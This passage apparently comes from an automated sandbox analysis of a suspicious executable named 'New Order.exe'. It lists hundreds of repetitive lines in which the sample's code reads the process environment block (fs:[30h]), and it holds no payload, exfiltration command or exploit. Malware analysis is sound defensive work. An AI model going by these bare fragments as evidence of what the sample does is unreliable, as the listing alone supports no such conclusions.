Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017F823B mov eax, dword ptr fs:[00000030h]	8_2_017F823B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018102E1 mov eax, dword ptr fs:[00000030h]	8_2_018102E1
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018102E1 mov eax, dword ptr fs:[00000030h]	8_2_018102E1
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018102E1 mov eax, dword ptr fs:[00000030h]	8_2_018102E1
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01888243 mov eax, dword ptr fs:[00000030h]	8_2_01888243
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01888243 mov ecx, dword ptr fs:[00000030h]	8_2_01888243
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01806259 mov eax, dword ptr fs:[00000030h]	8_2_01806259
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018BA250 mov eax, dword ptr fs:[00000030h]	8_2_018BA250
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018BA250 mov eax, dword ptr fs:[00000030h]	8_2_018BA250
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01804260 mov eax, dword ptr fs:[00000030h]	8_2_01804260
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01804260 mov eax, dword ptr fs:[00000030h]	8_2_01804260
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01804260 mov eax, dword ptr fs:[00000030h]	8_2_01804260
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018B0274 mov eax, dword ptr fs:[00000030h]	8_2_018B0274
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018B0274 mov eax, dword ptr fs:[00000030h]	8_2_018B0274
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018B0274 mov eax, dword ptr fs:[00000030h]	8_2_018B0274
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018B0274 mov eax, dword ptr fs:[00000030h]	8_2_018B0274
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018B0274 mov eax, dword ptr fs:[00000030h]	8_2_018B0274
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018B0274 mov eax, dword ptr fs:[00000030h]	8_2_018B0274
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018B0274 mov eax, dword ptr fs:[00000030h]	8_2_018B0274
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018B0274 mov eax, dword ptr fs:[00000030h]	8_2_018B0274
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018B0274 mov eax, dword ptr fs:[00000030h]	8_2_018B0274
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018B0274 mov eax, dword ptr fs:[00000030h]	8_2_018B0274
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018B0274 mov eax, dword ptr fs:[00000030h]	8_2_018B0274
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018B0274 mov eax, dword ptr fs:[00000030h]	8_2_018B0274
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01802582 mov eax, dword ptr fs:[00000030h]	8_2_01802582
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01802582 mov ecx, dword ptr fs:[00000030h]	8_2_01802582
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01834588 mov eax, dword ptr fs:[00000030h]	8_2_01834588
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183E59C mov eax, dword ptr fs:[00000030h]	8_2_0183E59C
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018805A7 mov eax, dword ptr fs:[00000030h]	8_2_018805A7
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018805A7 mov eax, dword ptr fs:[00000030h]	8_2_018805A7
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018805A7 mov eax, dword ptr fs:[00000030h]	8_2_018805A7
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018245B1 mov eax, dword ptr fs:[00000030h]	8_2_018245B1
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018245B1 mov eax, dword ptr fs:[00000030h]	8_2_018245B1
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183E5CF mov eax, dword ptr fs:[00000030h]	8_2_0183E5CF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183E5CF mov eax, dword ptr fs:[00000030h]	8_2_0183E5CF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018065D0 mov eax, dword ptr fs:[00000030h]	8_2_018065D0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183A5D0 mov eax, dword ptr fs:[00000030h]	8_2_0183A5D0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183A5D0 mov eax, dword ptr fs:[00000030h]	8_2_0183A5D0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018025E0 mov eax, dword ptr fs:[00000030h]	8_2_018025E0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182E5E7 mov eax, dword ptr fs:[00000030h]	8_2_0182E5E7
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182E5E7 mov eax, dword ptr fs:[00000030h]	8_2_0182E5E7
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182E5E7 mov eax, dword ptr fs:[00000030h]	8_2_0182E5E7
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182E5E7 mov eax, dword ptr fs:[00000030h]	8_2_0182E5E7
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182E5E7 mov eax, dword ptr fs:[00000030h]	8_2_0182E5E7
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182E5E7 mov eax, dword ptr fs:[00000030h]	8_2_0182E5E7
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182E5E7 mov eax, dword ptr fs:[00000030h]	8_2_0182E5E7
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182E5E7 mov eax, dword ptr fs:[00000030h]	8_2_0182E5E7
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183C5ED mov eax, dword ptr fs:[00000030h]	8_2_0183C5ED
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183C5ED mov eax, dword ptr fs:[00000030h]	8_2_0183C5ED
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01896500 mov eax, dword ptr fs:[00000030h]	8_2_01896500
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018D4500 mov eax, dword ptr fs:[00000030h]	8_2_018D4500
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018D4500 mov eax, dword ptr fs:[00000030h]	8_2_018D4500
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018D4500 mov eax, dword ptr fs:[00000030h]	8_2_018D4500
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018D4500 mov eax, dword ptr fs:[00000030h]	8_2_018D4500
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018D4500 mov eax, dword ptr fs:[00000030h]	8_2_018D4500
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018D4500 mov eax, dword ptr fs:[00000030h]	8_2_018D4500
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018D4500 mov eax, dword ptr fs:[00000030h]	8_2_018D4500
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810535 mov eax, dword ptr fs:[00000030h]	8_2_01810535
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810535 mov eax, dword ptr fs:[00000030h]	8_2_01810535
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810535 mov eax, dword ptr fs:[00000030h]	8_2_01810535
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810535 mov eax, dword ptr fs:[00000030h]	8_2_01810535
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810535 mov eax, dword ptr fs:[00000030h]	8_2_01810535
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810535 mov eax, dword ptr fs:[00000030h]	8_2_01810535
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182E53E mov eax, dword ptr fs:[00000030h]	8_2_0182E53E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182E53E mov eax, dword ptr fs:[00000030h]	8_2_0182E53E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182E53E mov eax, dword ptr fs:[00000030h]	8_2_0182E53E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182E53E mov eax, dword ptr fs:[00000030h]	8_2_0182E53E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182E53E mov eax, dword ptr fs:[00000030h]	8_2_0182E53E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01808550 mov eax, dword ptr fs:[00000030h]	8_2_01808550
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01808550 mov eax, dword ptr fs:[00000030h]	8_2_01808550
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183656A mov eax, dword ptr fs:[00000030h]	8_2_0183656A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183656A mov eax, dword ptr fs:[00000030h]	8_2_0183656A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183656A mov eax, dword ptr fs:[00000030h]	8_2_0183656A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018BA49A mov eax, dword ptr fs:[00000030h]	8_2_018BA49A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017F645D mov eax, dword ptr fs:[00000030h]	8_2_017F645D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018064AB mov eax, dword ptr fs:[00000030h]	8_2_018064AB
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018344B0 mov ecx, dword ptr fs:[00000030h]	8_2_018344B0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0188A4B0 mov eax, dword ptr fs:[00000030h]	8_2_0188A4B0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017FC427 mov eax, dword ptr fs:[00000030h]	8_2_017FC427
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017FE420 mov eax, dword ptr fs:[00000030h]	8_2_017FE420
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017FE420 mov eax, dword ptr fs:[00000030h]	8_2_017FE420
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017FE420 mov eax, dword ptr fs:[00000030h]	8_2_017FE420
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018004E5 mov ecx, dword ptr fs:[00000030h]	8_2_018004E5
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01838402 mov eax, dword ptr fs:[00000030h]	8_2_01838402
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01838402 mov eax, dword ptr fs:[00000030h]	8_2_01838402
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01838402 mov eax, dword ptr fs:[00000030h]	8_2_01838402
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01886420 mov eax, dword ptr fs:[00000030h]	8_2_01886420
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01886420 mov eax, dword ptr fs:[00000030h]	8_2_01886420
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01886420 mov eax, dword ptr fs:[00000030h]	8_2_01886420
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01886420 mov eax, dword ptr fs:[00000030h]	8_2_01886420
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01886420 mov eax, dword ptr fs:[00000030h]	8_2_01886420
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01886420 mov eax, dword ptr fs:[00000030h]	8_2_01886420
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01886420 mov eax, dword ptr fs:[00000030h]	8_2_01886420
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183A430 mov eax, dword ptr fs:[00000030h]	8_2_0183A430
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183E443 mov eax, dword ptr fs:[00000030h]	8_2_0183E443
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183E443 mov eax, dword ptr fs:[00000030h]	8_2_0183E443
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183E443 mov eax, dword ptr fs:[00000030h]	8_2_0183E443
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183E443 mov eax, dword ptr fs:[00000030h]	8_2_0183E443
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183E443 mov eax, dword ptr fs:[00000030h]	8_2_0183E443
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183E443 mov eax, dword ptr fs:[00000030h]	8_2_0183E443
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183E443 mov eax, dword ptr fs:[00000030h]	8_2_0183E443
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183E443 mov eax, dword ptr fs:[00000030h]	8_2_0183E443
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182245A mov eax, dword ptr fs:[00000030h]	8_2_0182245A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018BA456 mov eax, dword ptr fs:[00000030h]	8_2_018BA456
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0188C460 mov ecx, dword ptr fs:[00000030h]	8_2_0188C460
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182A470 mov eax, dword ptr fs:[00000030h]	8_2_0182A470
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182A470 mov eax, dword ptr fs:[00000030h]	8_2_0182A470
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0182A470 mov eax, dword ptr fs:[00000030h]	8_2_0182A470
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018A678E mov eax, dword ptr fs:[00000030h]	8_2_018A678E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018B47A0 mov eax, dword ptr fs:[00000030h]	8_2_018B47A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018007AF mov eax, dword ptr fs:[00000030h]	8_2_018007AF
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180C7C0 mov eax, dword ptr fs:[00000030h]	8_2_0180C7C0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018807C3 mov eax, dword ptr fs:[00000030h]	8_2_018807C3
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0188E7E1 mov eax, dword ptr fs:[00000030h]	8_2_0188E7E1
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018227ED mov eax, dword ptr fs:[00000030h]	8_2_018227ED
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018227ED mov eax, dword ptr fs:[00000030h]	8_2_018227ED
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018227ED mov eax, dword ptr fs:[00000030h]	8_2_018227ED
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018047FB mov eax, dword ptr fs:[00000030h]	8_2_018047FB
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018047FB mov eax, dword ptr fs:[00000030h]	8_2_018047FB
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183C700 mov eax, dword ptr fs:[00000030h]	8_2_0183C700
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01800710 mov eax, dword ptr fs:[00000030h]	8_2_01800710
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01830710 mov eax, dword ptr fs:[00000030h]	8_2_01830710
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183C720 mov eax, dword ptr fs:[00000030h]	8_2_0183C720
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183C720 mov eax, dword ptr fs:[00000030h]	8_2_0183C720
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0187C730 mov eax, dword ptr fs:[00000030h]	8_2_0187C730
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183273C mov eax, dword ptr fs:[00000030h]	8_2_0183273C
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183273C mov ecx, dword ptr fs:[00000030h]	8_2_0183273C
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183273C mov eax, dword ptr fs:[00000030h]	8_2_0183273C
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183674D mov esi, dword ptr fs:[00000030h]	8_2_0183674D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183674D mov eax, dword ptr fs:[00000030h]	8_2_0183674D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183674D mov eax, dword ptr fs:[00000030h]	8_2_0183674D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01800750 mov eax, dword ptr fs:[00000030h]	8_2_01800750
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842750 mov eax, dword ptr fs:[00000030h]	8_2_01842750
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842750 mov eax, dword ptr fs:[00000030h]	8_2_01842750
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0188E75D mov eax, dword ptr fs:[00000030h]	8_2_0188E75D
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01884755 mov eax, dword ptr fs:[00000030h]	8_2_01884755
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01808770 mov eax, dword ptr fs:[00000030h]	8_2_01808770
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810770 mov eax, dword ptr fs:[00000030h]	8_2_01810770
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810770 mov eax, dword ptr fs:[00000030h]	8_2_01810770
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810770 mov eax, dword ptr fs:[00000030h]	8_2_01810770
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810770 mov eax, dword ptr fs:[00000030h]	8_2_01810770
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810770 mov eax, dword ptr fs:[00000030h]	8_2_01810770
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810770 mov eax, dword ptr fs:[00000030h]	8_2_01810770
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810770 mov eax, dword ptr fs:[00000030h]	8_2_01810770
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810770 mov eax, dword ptr fs:[00000030h]	8_2_01810770
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810770 mov eax, dword ptr fs:[00000030h]	8_2_01810770
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810770 mov eax, dword ptr fs:[00000030h]	8_2_01810770
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810770 mov eax, dword ptr fs:[00000030h]	8_2_01810770
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01810770 mov eax, dword ptr fs:[00000030h]	8_2_01810770
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01804690 mov eax, dword ptr fs:[00000030h]	8_2_01804690
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01804690 mov eax, dword ptr fs:[00000030h]	8_2_01804690
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183C6A6 mov eax, dword ptr fs:[00000030h]	8_2_0183C6A6
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018366B0 mov eax, dword ptr fs:[00000030h]	8_2_018366B0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183A6C7 mov ebx, dword ptr fs:[00000030h]	8_2_0183A6C7
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183A6C7 mov eax, dword ptr fs:[00000030h]	8_2_0183A6C7
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0187E6F2 mov eax, dword ptr fs:[00000030h]	8_2_0187E6F2
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0187E6F2 mov eax, dword ptr fs:[00000030h]	8_2_0187E6F2
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0187E6F2 mov eax, dword ptr fs:[00000030h]	8_2_0187E6F2
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0187E6F2 mov eax, dword ptr fs:[00000030h]	8_2_0187E6F2
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018806F1 mov eax, dword ptr fs:[00000030h]	8_2_018806F1
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018806F1 mov eax, dword ptr fs:[00000030h]	8_2_018806F1
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0181260B mov eax, dword ptr fs:[00000030h]	8_2_0181260B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0181260B mov eax, dword ptr fs:[00000030h]	8_2_0181260B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0181260B mov eax, dword ptr fs:[00000030h]	8_2_0181260B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0181260B mov eax, dword ptr fs:[00000030h]	8_2_0181260B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0181260B mov eax, dword ptr fs:[00000030h]	8_2_0181260B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0181260B mov eax, dword ptr fs:[00000030h]	8_2_0181260B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0181260B mov eax, dword ptr fs:[00000030h]	8_2_0181260B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0187E609 mov eax, dword ptr fs:[00000030h]	8_2_0187E609
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01842619 mov eax, dword ptr fs:[00000030h]	8_2_01842619
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01836620 mov eax, dword ptr fs:[00000030h]	8_2_01836620
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01838620 mov eax, dword ptr fs:[00000030h]	8_2_01838620
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0181E627 mov eax, dword ptr fs:[00000030h]	8_2_0181E627
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180262C mov eax, dword ptr fs:[00000030h]	8_2_0180262C
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0181C640 mov eax, dword ptr fs:[00000030h]	8_2_0181C640
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018C866E mov eax, dword ptr fs:[00000030h]	8_2_018C866E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018C866E mov eax, dword ptr fs:[00000030h]	8_2_018C866E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183A660 mov eax, dword ptr fs:[00000030h]	8_2_0183A660
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0183A660 mov eax, dword ptr fs:[00000030h]	8_2_0183A660
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01832674 mov eax, dword ptr fs:[00000030h]	8_2_01832674
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018129A0 mov eax, dword ptr fs:[00000030h]	8_2_018129A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018129A0 mov eax, dword ptr fs:[00000030h]	8_2_018129A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018129A0 mov eax, dword ptr fs:[00000030h]	8_2_018129A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018129A0 mov eax, dword ptr fs:[00000030h]	8_2_018129A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018129A0 mov eax, dword ptr fs:[00000030h]	8_2_018129A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018129A0 mov eax, dword ptr fs:[00000030h]	8_2_018129A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018129A0 mov eax, dword ptr fs:[00000030h]	8_2_018129A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018129A0 mov eax, dword ptr fs:[00000030h]	8_2_018129A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018129A0 mov eax, dword ptr fs:[00000030h]	8_2_018129A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018129A0 mov eax, dword ptr fs:[00000030h]	8_2_018129A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018129A0 mov eax, dword ptr fs:[00000030h]	8_2_018129A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018129A0 mov eax, dword ptr fs:[00000030h]	8_2_018129A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018129A0 mov eax, dword ptr fs:[00000030h]	8_2_018129A0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018009AD mov eax, dword ptr fs:[00000030h]	8_2_018009AD
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018009AD mov eax, dword ptr fs:[00000030h]	8_2_018009AD
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018889B3 mov esi, dword ptr fs:[00000030h]	8_2_018889B3
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018889B3 mov eax, dword ptr fs:[00000030h]	8_2_018889B3
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018889B3 mov eax, dword ptr fs:[00000030h]	8_2_018889B3
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018969C0 mov eax, dword ptr fs:[00000030h]	8_2_018969C0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180A9D0 mov eax, dword ptr fs:[00000030h]	8_2_0180A9D0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180A9D0 mov eax, dword ptr fs:[00000030h]	8_2_0180A9D0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180A9D0 mov eax, dword ptr fs:[00000030h]	8_2_0180A9D0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180A9D0 mov eax, dword ptr fs:[00000030h]	8_2_0180A9D0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180A9D0 mov eax, dword ptr fs:[00000030h]	8_2_0180A9D0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0180A9D0 mov eax, dword ptr fs:[00000030h]	8_2_0180A9D0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018349D0 mov eax, dword ptr fs:[00000030h]	8_2_018349D0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018CA9D3 mov eax, dword ptr fs:[00000030h]	8_2_018CA9D3
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017F8918 mov eax, dword ptr fs:[00000030h]	8_2_017F8918
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_017F8918 mov eax, dword ptr fs:[00000030h]	8_2_017F8918
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0188E9E0 mov eax, dword ptr fs:[00000030h]	8_2_0188E9E0
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018329F9 mov eax, dword ptr fs:[00000030h]	8_2_018329F9
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018329F9 mov eax, dword ptr fs:[00000030h]	8_2_018329F9
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0187E908 mov eax, dword ptr fs:[00000030h]	8_2_0187E908
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0187E908 mov eax, dword ptr fs:[00000030h]	8_2_0187E908
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0188C912 mov eax, dword ptr fs:[00000030h]	8_2_0188C912
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0188892A mov eax, dword ptr fs:[00000030h]	8_2_0188892A
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0189892B mov eax, dword ptr fs:[00000030h]	8_2_0189892B
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01880946 mov eax, dword ptr fs:[00000030h]	8_2_01880946
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01826962 mov eax, dword ptr fs:[00000030h]	8_2_01826962
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01826962 mov eax, dword ptr fs:[00000030h]	8_2_01826962
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_01826962 mov eax, dword ptr fs:[00000030h]	8_2_01826962
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0184096E mov eax, dword ptr fs:[00000030h]	8_2_0184096E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0184096E mov edx, dword ptr fs:[00000030h]	8_2_0184096E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0184096E mov eax, dword ptr fs:[00000030h]	8_2_0184096E
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018A4978 mov eax, dword ptr fs:[00000030h]	8_2_018A4978
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_018A4978 mov eax, dword ptr fs:[00000030h]	8_2_018A4978
Source: C:\Users\user\Desktop\New Order.exe	Code function: 8_2_0188C97C mov eax, dword ptr fs:[00000030h]	8_2_0188C97C
